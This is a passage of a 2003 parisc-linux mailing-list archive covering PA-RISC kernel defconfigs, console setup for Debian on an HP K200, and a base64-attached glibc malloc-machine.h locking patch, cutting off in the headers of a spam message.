Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19766

On Donnerstag, 09. Oktober 2003 17:05, Matthew Wilcox wrote:
> - 712 (Lasi, Wax, no PCI, no EISA.  targetted at exactly 712, may work on
> 	other snake-type boxes)

Maybe we should add EISA to this configuration, in which case
it would fit 715 machines too ?

Helge


From - Thu Nov 08 21:29:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] defconfigs in 2.6
Date: Thu, 9 Oct 2003 22:44:44 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <20031009214444.GS27861@parcelfarce.linux.theplanet.co.uk>
References: <20031009150518.GG27861@parcelfarce.linux.theplanet.co.uk> <200310092321.18573.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622857 32397 80.91.229.3 (22 Nov 2014 02:20:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:57 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct  9 15:44:46 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 016B74840
	for <parisc-linux@parisc-linux.org>; Thu,  9 Oct 2003 15:44:45 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1A7iaS-0000Xf-Lt; Thu, 09 Oct 2003 22:44:44 +0100
Content-Disposition: inline
In-Reply-To: <200310092321.18573.deller@gmx.de>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19767

On Thu, Oct 09, 2003 at 11:21:18PM +0200, Helge Deller wrote:
> On Donnerstag, 09. Oktober 2003 17:05, Matthew Wilcox wrote:
> > - 712 (Lasi, Wax, no PCI, no EISA.  targetted at exactly 712, may work on
> > 	other snake-type boxes)
> 
> Maybe we should add EISA to this configuration, in which case
> it would fit 715 machines too ?

My intent was that these machines would use a "hawk" configuration.  Keep
gecko minimal and expansion-less, and hawk gets all the EISA and PCI cards
compiled as modules.

The thing about 715 expansion is that (at least for 715/Mirage), you can
plug a GSC cardmode Dino into the expansion socket, so we should enable
that ... and the PCI drivers for whichever chips got put on a card with
Dino (Tulip, acenic, ... must be others?), NCR720, etc.

This starts to get kind of complicated.  I'd rather maintain these in
the hawk config.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: booting cd on a snake
Date: Thu, 9 Oct 2003 21:58:03 -0600
Lines: 9
Approved: news@gmane.org
Message-ID: <20031010035803.GE13958__40095.0873773128$1416622858$gmane$org@colo.lackof.org>
References: <BBAB6666.94C8%zuse@libero.it> <20031010033943.GC13958@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622858 32399 80.91.229.3 (22 Nov 2014 02:20:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:58 +0000 (UTC)
Cc: debian-hppa@lists.debian.org, parisc-linux@parisc-linux.org
To: Riccardo Mottola <zuse@libero.it>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct  9 21:58:05 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id E9F3F4840
	for <parisc-linux@parisc-linux.org>; Thu,  9 Oct 2003 21:58:04 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id D5BAF298048; Thu,  9 Oct 2003 21:58:03 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 14595-03; Thu, 9 Oct 2003 21:58:03 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 5761E29803C; Thu,  9 Oct 2003 21:58:03 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20031010033943.GC13958@colo.lackof.org>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19768

On Thu, Oct 09, 2003 at 09:39:43PM -0600, Grant Grundler wrote:
> We should probably add a "how-to burn CDs on Windows" link to
> the FAQ at www.parisc-linux.org and/or debian/ports/hppa page.

Here's the URL at least:
	http://www.e-smith.org/docs/howto/CD_burning_howto.php3

grant


From - Thu Nov 08 21:29:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RE: [parisc-linux-cvs] linux-2.6 willy
Date: Fri, 10 Oct 2003 09:34:22 +0200
Lines: 43
Approved: news@gmane.org
Message-ID: <3F5CC41F00010955@ocpmta3.freegates.net>
References: <20031009173436.GI27861@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622858 32402 80.91.229.3 (22 Nov 2014 02:20:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:58 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Matthew Wilcox" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 10 01:34:27 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 65D444957
	for <parisc-linux@lists.parisc-linux.org>; Fri, 10 Oct 2003 01:34:27 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1A7rn6-0000Sg-00; Fri, 10 Oct 2003 09:34:24 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Fri, 10 Oct 2003 09:34:22 +0200
In-Reply-To: <20031009173436.GI27861@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19769

Matthew,

Sorry I just trust that was related to a previous mail :(

In fact I was just looking for a place to put superio_?_init() calls (was
in rs_init() in 2.4?).

Thanks for ypur attention,
    Joel

>-- Original Message --
>Date: Thu, 9 Oct 2003 18:34:36 +0100
>From: Matthew Wilcox <willy@debian.org>
>To: Joel Soete <soete.joel@tiscali.be>
>Cc: parisc-linux@lists.parisc-linux.org
>Subject: Re: [parisc-linux] RE: [parisc-linux-cvs] linux-2.6 willy
>
>
>On Thu, Oct 09, 2003 at 07:24:16PM +0200, Joel Soete wrote:
> Hi Matthew,
> 
> Sorry but it doesn't help yet to boot the b2k model (always same symptom)
> Or do i lost something and should I have to wait for a 32bits_defconfig?

I haven't even tr
>ed to track down the problems on c3k yet.  I might
get round to it in a week or so.  Other issues are pressing.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thous
>nds of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert
Fisk



-------------------------------------------------------------------------
L'Internet rapide, c'est pour tout le monde. Tiscali ADSL, 19,50 Euro
pendant 3 mois! http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:29:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?Thibaut_VAR=C8NE?= <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] IBM 3151 on K200 in Debian 3.0
Date: Fri, 10 Oct 2003 11:13:42 +0200
Lines: 85
Approved: news@gmane.org
Message-ID: <0B279720-FB02-11D7-BD3F-0030656F07A2@esiee.fr>
References: <20E48BDA-FA86-11D7-B35B-0030657CC792@udallas.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v552)
Content-Type: text/plain; delsp=yes; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622858 32406 80.91.229.3 (22 Nov 2014 02:20:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:58 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Walker White <wmwhite@udallas.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 10 03:13:46 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id DA9424957
	for <parisc-linux@lists.parisc-linux.org>; Fri, 10 Oct 2003 03:13:45 -0600 (MDT)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by dummy.domain.name (Postfix) with SMTP
	id 779DD49C21; Fri, 10 Oct 2003 11:13:44 +0200 (CEST)
Original-Received: from esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP
	id 5612849BEB; Fri, 10 Oct 2003 11:13:43 +0200 (CEST)
In-Reply-To: <20E48BDA-FA86-11D7-B35B-0030657CC792@udallas.edu>
X-Mailer: Apple Mail (2.552)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19770

Looks like you've been rather unlucky with your search :-P

On the m-l page (http://www.parisc-linux.org/mailing-lists/) this mail
http://lists.parisc-linux.org/pipermail/parisc-linux/2003-March/=20
019399.html
would have told you to look at:
1) http://pateam.esiee.fr/doc.html for a boot howto
and at
5) http://pateam.esiee.fr/list.html for per machine details.

The latter link would have told you that for K200 you need PDC_CONSOLE =20=

which is enabled by default on the netinst isos available from both =20
pateam and parisc-linux.org, and would also have pointed you at all the =20=

data you need to install your box with the following useful m-l thread:

http://lists.parisc-linux.org/pipermail/parisc-linux/2002-September/=20
017840.html

details being also present in the boot howto afore mentioned...

HTH,


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/

Le jeudi, 9 oct 2003, =E0 20:26 Europe/Paris, Walker White a =E9crit :

> I have scoured the FAQ and mailing lists.  Supposedly this has been =20=

> resolved, but I am having the same old problems.
>
> I just inherited an old K200 which I want to give my students as a =20
> "play" machine.  I am trying to install Debian 3.0 on it.  When I got =20=

> the machine, it had no console whatsoever.  So I grabbed an old IBM =20=

> 3151 and plugged into the machine.  Works, no problem.  I can boot =20
> into HPUX just fine (which is still on the machine).
>
> I tried to boot to the CD.  After a few stack dumps, a learned from =20=

> the mailing list that I needed to change my console to ttyB0 from =20
> ttyS0.  No more stack dumps.  However, after the message that says I =20=

> might not see anything (and hence need to switch consoles), I do not =20=

> see anything.  Supposedly this issue was fixed in the install CDs (at =20=

> least that is what mailing list says), but doesn't seem so to me.
>
> Is this an issue with the install CDs, or do I need to do something =20=

> funky with the IBM 3151?
>
> =
-----------------------------------------------------------------------=20=

> ------------------------
> | Walker White                                                         =
=20
>   Assistant Professor  |
> | wmwhite@udallas.edu                                                  =
=20
>  Dept. of Mathematics  |
> | 972 -721-5380                                                        =
=20
>  University of Dallas  |
> =
-----------------------------------------------------------------------=20=

> ------------------------
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>
>




From - Thu Nov 08 21:29:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Wolfram Gloger" <wg@malloc.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [RFC] Where to put arch-dependant locking in malloc/thread-m.h
Date: 10 Oct 2003 12:22:06 -0000
Lines: 76
Approved: news@gmane.org
Message-ID: <20031010122206.714.qmail@w2.w-local>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="++----------20031010142201-104024179----------++"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622858 32407 80.91.229.3 (22 Nov 2014 02:20:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:58 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 10 06:25:01 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from moutng.kundenserver.de (moutng.kundenserver.de [212.227.126.186])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1D0414971
	for <parisc-linux@lists.parisc-linux.org>; Fri, 10 Oct 2003 06:25:01 -0600 (MDT)
Original-Received: from [212.227.126.208] (helo=mrelayng.kundenserver.de)
	by moutng.kundenserver.de with esmtp (Exim 3.35 #1)
	id 1A7wKJ-0007ui-00
	for parisc-linux@lists.parisc-linux.org; Fri, 10 Oct 2003 14:24:59 +0200
Original-Received: from [138.245.177.138] (helo=mail.malloc.de)
	by mrelayng.kundenserver.de with asmtp (Exim 3.35 #1)
	id 1A7wKJ-0006N7-00
	for parisc-linux@lists.parisc-linux.org; Fri, 10 Oct 2003 14:24:59 +0200
Original-Received: (qmail 715 invoked by uid 1110); 10 Oct 2003 12:22:06 -0000
In-reply-to: "carlos@baldric.uwo.ca"'s message of Thu, 25 Sep 2003 17:15:09
	-0400
Original-References: 
X-Mailer: Emacs 20.7.2 with etach 1.2.6
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19771

This is a multi-part message in MIME format.
--++----------20031010142201-104024179----------++
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi,

>The following patch fixes the issue, but I'm not content about it's
>placement in malloc/thread-m.h. Any comments about where I might put
>this in order to make maintenance easier?

The malloc-machine.h specific headers are now in place,
so you might want to propose something like the following?

Regards,
Wolfram.

2003-10-10  Carlos O'Donell  <carlos@baldric.uwo.ca>

	* sysdeps/hppa/malloc-machine.h: New file.

--++----------20031010142201-104024179----------++
Content-Type: application/octet-stream; name="malloc-machine.h"
Content-Transfer-Encoding: base64

LyogQmFzaWMgcGxhdGZvcm0taW5kZXBlbmRlbnQgbWFjcm8gZGVmaW5pdGlvbnMgZm9yIG11dGV4
ZXMsCiAgIHRocmVhZC1zcGVjaWZpYyBkYXRhIGFuZCBwYXJhbWV0ZXJzIGZvciBtYWxsb2MuCiAg
IENvcHlyaWdodCAoQykgMjAwMyBGcmVlIFNvZnR3YXJlIEZvdW5kYXRpb24sIEluYy4KICAgVGhp
cyBmaWxlIGlzIHBhcnQgb2YgdGhlIEdOVSBDIExpYnJhcnkuCgogICBUaGUgR05VIEMgTGlicmFy
eSBpcyBmcmVlIHNvZnR3YXJlOyB5b3UgY2FuIHJlZGlzdHJpYnV0ZSBpdCBhbmQvb3IKICAgbW9k
aWZ5IGl0IHVuZGVyIHRoZSB0ZXJtcyBvZiB0aGUgR05VIExlc3NlciBHZW5lcmFsIFB1YmxpYwog
ICBMaWNlbnNlIGFzIHB1Ymxpc2hlZCBieSB0aGUgRnJlZSBTb2Z0d2FyZSBGb3VuZGF0aW9uOyBl
aXRoZXIKICAgdmVyc2lvbiAyLjEgb2YgdGhlIExpY2Vuc2UsIG9yIChhdCB5b3VyIG9wdGlvbikg
YW55IGxhdGVyIHZlcnNpb24uCgogICBUaGUgR05VIEMgTGlicmFyeSBpcyBkaXN0cmlidXRlZCBp
biB0aGUgaG9wZSB0aGF0IGl0IHdpbGwgYmUgdXNlZnVsLAogICBidXQgV0lUSE9VVCBBTlkgV0FS
UkFOVFk7IHdpdGhvdXQgZXZlbiB0aGUgaW1wbGllZCB3YXJyYW50eSBvZgogICBNRVJDSEFOVEFC
SUxJVFkgb3IgRklUTkVTUyBGT1IgQSBQQVJUSUNVTEFSIFBVUlBPU0UuICBTZWUgdGhlIEdOVQog
ICBMZXNzZXIgR2VuZXJhbCBQdWJsaWMgTGljZW5zZSBmb3IgbW9yZSBkZXRhaWxzLgoKICAgWW91
IHNob3VsZCBoYXZlIHJlY2VpdmVkIGEgY29weSBvZiB0aGUgR05VIExlc3NlciBHZW5lcmFsIFB1
YmxpYwogICBMaWNlbnNlIGFsb25nIHdpdGggdGhlIEdOVSBDIExpYnJhcnk7IGlmIG5vdCwgd3Jp
dGUgdG8gdGhlIEZyZWUKICAgU29mdHdhcmUgRm91bmRhdGlvbiwgSW5jLiwgNTkgVGVtcGxlIFBs
YWNlLCBTdWl0ZSAzMzAsIEJvc3RvbiwgTUEKICAgMDIxMTEtMTMwNyBVU0EuICAqLwoKI2lmbmRl
ZiBfTUFMTE9DX01BQ0hJTkVfSAojZGVmaW5lIF9NQUxMT0NfTUFDSElORV9ICgojdW5kZWYgdGhy
ZWFkX2F0Zm9ya19zdGF0aWMKCiNpbmNsdWRlIDxhdG9taWMuaD4KI2luY2x1ZGUgPGJpdHMvbGli
Yy1sb2NrLmg+CgpfX2xpYmNfbG9ja19kZWZpbmUgKHR5cGVkZWYsIG11dGV4X3QpCgovKiBTaW5j
ZSBvdXIgbG9jayBzdHJ1Y3R1cmUgZG9lcyBub3QgdG9sZXJhdGUgYmVpbmcgaW5pdGlhbGl6ZWQg
dG8KICAgemVybywgd2UgbXVzdCBtb2RpZnkgdGhlIHN0YW5kYXJkIGZ1bmN0aW9uIGNhbGxzIG1h
ZGUgYnkgbWFsbG9jICovCgojZGVmaW5lIG11dGV4X2luaXQobSkJCVwKCV9fbGliY19tYXliZV9j
YWxsIChfX3B0aHJlYWRfbXV0ZXhfaW5pdCwgKG0sIE5VTEwpLCBcCgkJCSgoKG0pLT5fX21fbG9j
ay5fX3NwaW5sb2NrID0gX19MVF9TUElOTE9DS19JTklUKSwoKihpbnQgKikobSkpKSApCiNkZWZp
bmUgbXV0ZXhfbG9jayhtKQkJXAoJX19saWJjX21heWJlX2NhbGwgKF9fcHRocmVhZF9tdXRleF9s
b2NrLCAobSksIFwKCQkJKF9fbG9hZF9hbmRfY2xlYXIoJigobSktPl9fbV9sb2NrLl9fc3Bpbmxv
Y2spKSwgMCkpCiNkZWZpbmUgbXV0ZXhfdHJ5bG9jayhtKQlcCglfX2xpYmNfbWF5YmVfY2FsbCAo
X19wdGhyZWFkX211dGV4X3RyeWxvY2ssIChtKSwgXAoJCQkoKihpbnQgKikobSkgPyAxIDogKF9f
bG9hZF9hbmRfY2xlYXIoJigobSktPl9fbV9sb2NrLl9fc3BpbmxvY2spKSwgMCkpKQojZGVmaW5l
IG11dGV4X3VubG9jayhtKQlcCglfX2xpYmNfbWF5YmVfY2FsbCAoX19wdGhyZWFkX211dGV4X3Vu
bG9jaywgKG0pLCBcCgkJCSgoKG0pLT5fX21fbG9jay5fX3NwaW5sb2NrID0gX19MVF9TUElOTE9D
S19JTklUKSwgKCooaW50ICopKG0pKSkgKQoKLyogVGhpcyBpcyBkZWZpbmVkIGJ5IG5ld2VyIGdj
YyB2ZXJzaW9uIHVuaXF1ZSBmb3IgZWFjaCBtb2R1bGUuICAqLwpleHRlcm4gdm9pZCAqX19kc29f
aGFuZGxlIF9fYXR0cmlidXRlX18gKChfX3dlYWtfXykpOwoKI2luY2x1ZGUgPGZvcmsuaD4KCiNp
ZmRlZiBTSEFSRUQKIyBkZWZpbmUgdGhyZWFkX2F0Zm9yayhwcmVwYXJlLCBwYXJlbnQsIGNoaWxk
KSBcCiAgIF9fcmVnaXN0ZXJfYXRmb3JrIChwcmVwYXJlLCBwYXJlbnQsIGNoaWxkLCBfX2Rzb19o
YW5kbGUpCiNlbHNlCiMgZGVmaW5lIHRocmVhZF9hdGZvcmsocHJlcGFyZSwgcGFyZW50LCBjaGls
ZCkgXAogICBfX3JlZ2lzdGVyX2F0Zm9yayAocHJlcGFyZSwgcGFyZW50LCBjaGlsZCwJCQkJICAg
ICAgXAoJCSAgICAgICZfX2Rzb19oYW5kbGUgPT0gTlVMTCA/IE5VTEwgOiBfX2Rzb19oYW5kbGUp
CiNlbmRpZgoKLyogdGhyZWFkIHNwZWNpZmljIGRhdGEgZm9yIGdsaWJjICovCgojaW5jbHVkZSA8
Yml0cy9saWJjLXRzZC5oPgoKdHlwZWRlZiBpbnQgdHNkX2tleV90WzFdOwkvKiBubyBrZXkgZGF0
YSBzdHJ1Y3R1cmUsIGxpYmMgbWFnaWMgZG9lcyBpdCAqLwpfX2xpYmNfdHNkX2RlZmluZSAoc3Rh
dGljLCBNQUxMT0MpCS8qIGRlY2xhcmF0aW9uL2NvbW1vbiBkZWZpbml0aW9uICovCiNkZWZpbmUg
dHNkX2tleV9jcmVhdGUoa2V5LCBkZXN0cikJKCh2b2lkKSAoa2V5KSkKI2RlZmluZSB0c2Rfc2V0
c3BlY2lmaWMoa2V5LCBkYXRhKQlfX2xpYmNfdHNkX3NldCAoTUFMTE9DLCAoZGF0YSkpCiNkZWZp
bmUgdHNkX2dldHNwZWNpZmljKGtleSwgdnB0cikJKCh2cHRyKSA9IF9fbGliY190c2RfZ2V0IChN
QUxMT0MpKQoKI2luY2x1ZGUgPHN5c2RlcHMvZ2VuZXJpYy9tYWxsb2MtbWFjaGluZS5oPgoKI2Vu
ZGlmIC8qICFkZWZpbmVkKF9NQUxMT0NfTUFDSElORV9IKSAqLwo=
--++----------20031010142201-104024179----------++--


From - Thu Nov 08 21:29:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "George Elder" <tdsbdniy@msn.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] new Sexual attractant
Date: Sat, 11 Oct 03 06:30:38 GMT
Lines: 18
Approved: news@gmane.org
Message-ID: <o0jdj2e--$02@uonc.zp7>
Reply-To: "George Elder" <tdsbdniy@msn.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="EC2.00F6.D4B2"
X-Trace: ger.gmane.org 1416622859 32413 80.91.229.3 (22 Nov 2014 02:20:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:59 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 10 08:34:47 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 78EBC49CC
	for <parisc-linux@parisc-linux.org>; Fri, 10 Oct 2003 08:34:47 -0600 (MDT)
Original-Received: from host-207-248-228-153.block.alestra.net.mx (host-207-248-228-153.block.alestra.net.mx [207.248.228.153])
	by cuprel1.hp.com (Postfix) with SMTP id CA3DEDDD
	for <parisc-linux@parisc-linux.org>; Fri, 10 Oct 2003 07:34:37 -0700 (PDT)
Original-Received: from [236.55.43.199] by host-207-248-228-153.block.alestra.net.mx SMTP id zrnW2BMQKax02J for <parisc-linux@parisc-linux.org>; Sat, 11 Oct 2003 06:30:38 +0000
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-Priority: 3
X-MSMail-Priority: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
